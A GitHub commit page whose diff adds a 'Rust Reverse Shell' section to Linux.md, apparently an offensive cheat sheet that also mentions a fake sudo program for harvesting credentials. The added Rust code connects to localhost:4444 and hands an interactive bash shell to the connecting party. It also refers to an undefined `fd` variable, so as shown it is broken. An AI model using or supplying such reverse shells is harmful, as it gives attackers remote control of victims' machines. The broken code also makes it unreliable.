Skip to content

Commit 0df8f93

Browse files
authored
feat: add rust reverse shell
1 parent 919d751 commit 0df8f93

1 file changed

Lines changed: 21 additions & 0 deletions

File tree

Linux.md

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1441,6 +1441,27 @@ if (ip.proto == TCP) {
14411441
}
14421442
```
14431443
1444+
## Rust Reverse Shell
1445+
1446+
```rust
1447+
use std::net::TcpStream;
1448+
use std::os::unix::io::{AsRawFd, FromRawFd};
1449+
use std::process::{Command, Stdio};
1450+
1451+
fn main() {
1452+
let sock = TcpStream::connect("localhost:4444").unwrap();
1453+
Command::new("/bin/bash")
1454+
.arg("-i")
1455+
.stdin(unsafe { Stdio::from_raw_fd(fd) })
1456+
.stdout(unsafe { Stdio::from_raw_fd(fd) })
1457+
.stderr(unsafe { Stdio::from_raw_fd(fd) })
1458+
.spawn()
1459+
.unwrap()
1460+
.wait()
1461+
.unwrap();
1462+
}
1463+
```
1464+
14441465
## Fake Sudo Program to Harvest Credentials
14451466
14461467
Mimics legitimate Sudo binary to capture credentials and output to ```/tmp``` directory file.

0 commit comments

Comments
 (0)